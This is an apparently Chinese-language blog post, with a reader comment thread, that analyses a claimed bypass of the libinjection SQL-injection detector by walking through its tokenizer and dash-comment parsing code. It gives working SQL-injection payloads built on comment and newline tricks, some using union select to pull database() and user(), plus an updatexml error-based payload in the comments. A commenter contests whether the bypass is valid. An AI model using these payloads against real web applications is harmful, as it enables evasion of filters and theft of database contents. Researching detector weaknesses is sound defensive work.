libinjection 语义分析通用绕过

作者: print("") 分类: 未分类 发布时间: 2020-09-04 16:37

源码下载地址 https://github.com/client9/libinjection

example.c

#include <stdio.h>
#include <strings.h>
#include <errno.h>
#include "libinjection.h"
#include "libinjection_sqli.h"
int main(int argc, const char* argv[])
{
struct libinjection_sqli_state state;
int issqli;
const char* input = argv[1];
size_t slen = strlen(input);
/* in real-world, you would url-decode the input, etc */
libinjection_sqli_init(&state, input, slen, FLAG_NONE);
issqli = libinjection_is_sqli(&state);
if (issqli) {
fprintf(stderr, "sqli detected with fingerprint of '%s'\n",
state.fingerprint);
}
return issqli;
}
# gcc -o bin example1.

# gcc -o bin example1.c libinjection_sqli.c 
# ./bin "1' and 1=1"
sqli with fingerprint of 's&1'

首先给一个pyload

# ./bin "ad1n'-- %a%0aunion select 1,database(),user() -- "
not sqli

测试payload 是否OK 

为什么会这样呢??? 

首先打开源码吧
如果对这个语义分析不太了解的吧,

可以去百度上可以找到很多分析的文章这里就不过多阐述了
下图是一个运行的一个流程图

它内部分为四种模式

1. 无符号 标准SQL 模式
 2. 无符号 MySQL模式 
3. 单引号 标准SQL 模式 
4. 单引号 MySQL 模式 
5. 双引号 MySQL 模式

然后上面是一个单引号的标准SQL 的匹配 

他的一个核心点在于如下 函数libinjection_sqli_tokenize 作为一个转换内部字符的一个入口

int libinjection_sqli_tokenize(struct libinjection_sqli_state * sf)
{
    pt2Function fnptr;
    size_t *pos = &sf->pos;
    stoken_t *current = sf->current;
    const char *s = sf->s;
    const size_t slen = sf->slen;
    if (slen == 0) {
        return FALSE;
    }

	//初始化
    st_clear(current);
    sf->current = current;

    if (*pos == 0 && (sf->flags & (FLAG_QUOTE_SINGLE | FLAG_QUOTE_DOUBLE))) {
        *pos = parse_string_core(s, slen, 0, current, flag2delim(sf->flags), 0);
        printf("单引号双引号进入");
        sf->stats_tokens += 1;
        return TRUE;
    }

    while (*pos < slen) {

        /*
         * get current character
         */
        const unsigned char ch = (unsigned char) (s[*pos]);
        /*
         * look up the parser, and call it
         *
         * Porting Note: this is mapping of char to function
         *   charparsers[ch]()
         */
        fnptr = char_parse_map[ch];
        *pos = (*fnptr) (sf);
        if (current->type != CHAR_NULL) {
            sf->stats_tokens += 1;
            return TRUE;
        }
    }
    return FALSE;
}

为什么# “ad1n’– %a%0aunion select 1,database(),user() — ” 这么一个简单的可以绕过呢。

首先他是吧 admi’ 先进入无符号的标准SQL 然后发现有一个’ 后面就转到 单引号的标准SQL

单引号标准SQL 首先获取的admn’ 然后break

继续到了下一层碰到了一个 – 那么走到parse_dash函数中

static size_t parse_dash(struct libinjection_sqli_state * sf)
{
    const char *cs = sf->s;
    const size_t slen = sf->slen;
    size_t pos = sf->pos;

    if (pos + 2 < slen && cs[pos + 1] == '-' && char_is_white(cs[pos+2]) ) {
        return parse_eol_comment(sf);
    } else if (pos +2 == slen && cs[pos + 1] == '-') {
        return parse_eol_comment(sf);
    } else if (pos + 1 < slen && cs[pos + 1] == '-' && (sf->flags & FLAG_SQL_ANSI)) {
        sf->stats_comment_ddx += 1;
        return parse_eol_comment(sf);
    } else {
        st_assign_char(sf->current, TYPE_OPERATOR, pos, 1, '-');
        return pos + 1;
    }
}

然后当前的pos 一定是符合第一个判断条件的。继续跟踪parse_eol_comment 函数

static size_t parse_eol_comment(struct libinjection_sqli_state * sf)
{
    const char *cs = sf->s;
    const size_t slen = sf->slen;
    size_t pos = sf->pos;
    
    const char *endpos =(const char *) memchr((const void *) (cs + pos), '\n', slen - pos);
    if (endpos == NULL) {
        st_assign(sf->current, TYPE_COMMENT, pos, slen - pos, cs + pos);
        return slen;
    } else {
        st_assign(sf->current, TYPE_COMMENT, pos, (size_t)(endpos - cs) - pos, cs + pos);
        return (size_t)((endpos - cs) + 1);
    }
}

这里只是判断了是否是有\n 这个。然后就直接进入到st_assign 函数中。继续跟踪st_assign 函数

static void st_assign(stoken_t * st, const char stype,size_t pos, size_t len, const char* value)
{
    const size_t MSIZE = LIBINJECTION_SQLI_TOKEN_SIZE;
    size_t last = len < MSIZE ? len : (MSIZE - 1);
    st->type = (char) stype;
    st->pos = pos;
    st->len = last;
    memcpy(st->val, value, last);
    st->val[last] = CHAR_NULL;
}

当前函数也是只是赋值了一下val然后就可以做任何操作。

最后就是 admin’ 转换成了S

— 因为没有查询到直接是C

最后得到的匹配规则为SC 。此匹配规则不在数据库中。完成了绕过。

附一张调试打印图


结合web 进行测试

这里的 

1′– %a%0a — %a%0aunion– %a%0a select 1,2,3 — 

被web 容器解析成了

1′– 0a — 0aunion– 0a select 1,2,3 — 

然后到

然后web 这里没有判断到。然后进入到php 中。

然后php 并不会解析这些东西。导致他的一个sql 语句如下:

select * from users where user=’1′– %a
 — %a
union– %a
 select 1,2,3 — 

本文完结。 这里需要看到这两个方面的问题。

一个是web 容器的解析出来的值。另外一个是php 容器解析的。然后到sql 语句里面的值





如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

20条评论
  • fnmsd

    2020年9月10日 下午5:57

    最近也在看libinjection,它并不会进行URL解码的,需要输入解码后的语句才能正常进行检测。

    如果用这种形式的话是可以检测出来的:

    const char* sql = “ad1n’– \x0a union select 1,database(),user() — “;

    sqli with fingerprint of ‘sUE1(‘

    1. print("")

      2020年9月10日 下午6:00

      你可以试试用web容器转换得到的是
      ./bin “ad1n’– 0aunion select 1,database(),user() — “

    2. print("")

      2020年9月10日 下午6:04

      即使转换了也是这样的
      [root@localhost src]# ./bin “ad1n’– \x0a union select 1,database(),user() — ”
      not sqli
      [root@localhost src]#

      1. fnmsd

        2020年9月10日 下午9:35

        你可以试着输出一下命令行第一个参数的,\x0a是四个字符,并不是一个ascii码0a的字符。

        1. print("")

          2020年9月10日 下午9:43

          你可以拿到实际的web 中去应用就知道我这个是个什么意思了。

          1. fnmsd

            2020年9月10日 下午9:59

            Web应用中给到sql执行的也是解码后的,你看你的sql语句,%a是无法解码的所以保留,%0a解码成了0a字符或者说换行符,就脱出了行注释。

      2. fnmsd

        2020年9月10日 下午9:38

        简单来说执行一下shell命令
        echo “\x0a”
        你应该就明白我说的意思。

        1. print("")

          2020年9月10日 下午9:42

          这个其实不是我关注的点了。我关注的在于他web 应用中的实际的拿到的值了。
          实际拿到的值。其实就是 admin’ — 0aunion select 1,2,3 —

          1. fnmsd

            2020年9月10日 下午10:02

            这个你真的看错了你写的是- %a%0a

            解码完了是– %a[换行符],正好可以脱出换行

          2. print("")

            2020年9月10日 下午10:18

            是啊。就是因为脱出行了。就不是正常的sql 语句。但是呢。到达php 里面就是原样的值啊。然后PHp容器解析了啊。
            就成为了这样的sql 语句
            select * from users where user=’1′– %a
            — %a
            union– %a
            select 1,2,3 —

          3. print("")

            2020年9月10日 下午10:19

            我更新了文章。解答了你的疑惑了

        2. print("")

          2020年9月10日 下午9:45

          本文的大意是描述 他这个对于 — 这种注释符的一个判断逻辑有问题。
          并没有针对当前这一个payload 去说明

        3. fnmsd

          2020年9月10日 下午10:27

          唉 你觉得你对就对吧

          不过还是希望你思考下,你输入到libinjection里面的字符串,是否跟mysql控制台的真的是一个。

          1. print("")

            2020年9月10日 下午10:31

            没必要太纠结是否一致。
            你非要一致的话。如下
            1′-{date(if(mid((updatexml(1,concat(0x7e,(select user()),0x7e),1)),1,1)=’1′,2,1))}%23

      3. fnmsd

        2020年9月10日 下午9:41

        Sql里非字符串部分你写个\x0a四个字符,它也不解析啊

        1. print("")

          2020年9月10日 下午9:54

          你弄一个web 环境。然后测试就明白了。web 容器他会解析。%a%0a 这类字符,解析成 0a 看容器的特性。具体的需要做一个详细测试就OK了

    3. print("")

      2020年9月10日 下午6:05

      那段代码需要改改。
      函数parse_dash
      static size_t parse_dash(struct libinjection_sqli_state * sf)
      {
      const char *cs = sf->s;
      const size_t slen = sf->slen;
      size_t pos = sf->pos;

      /*
      * five cases
      * 1) --[white] this is always a SQL comment
      * 2) --[EOF] this is a comment
      * 3) --[notwhite] in MySQL this is NOT a comment but two unary operators
      * 4) --[notwhite] everyone else thinks this is a comment
      * 5) -[not dash] '-' is a unary operator
      */

      if (pos + 2 == slen && cs[pos + 1] == '-' && char_is_white(cs[pos+2]) ) {
      return parse_eol_comment(sf);
      } else if (pos +2 == slen && cs[pos + 1] == '-') {
      return parse_eol_comment(sf);
      } else if (pos + 1 == slen && cs[pos + 1] == '-' && (sf->flags & FLAG_SQL_ANSI)) {
      /* --[not-white] not-white case:
      *
      */
      sf->stats_comment_ddx += 1;
      return parse_eol_comment(sf);
      } else {
      st_assign_char(sf->current, TYPE_OPERATOR, pos, 1, '-');
      return pos + 1;
      }
      }

    4. print("")

      2020年9月10日 下午6:07

      他这个思路是可以,但是需要不断的更新。
      因为绕过确实很多。

      1. fnmsd

        2020年9月10日 下午9:49

        特征的确是得更新

        有些处理的地方也针对了比较老的数据库系统

  • print("")

    2020年9月10日 下午6:08

    他针对– 那块的是有一定问题的。

发表评论

电子邮件地址不会被公开。 必填项已用*标注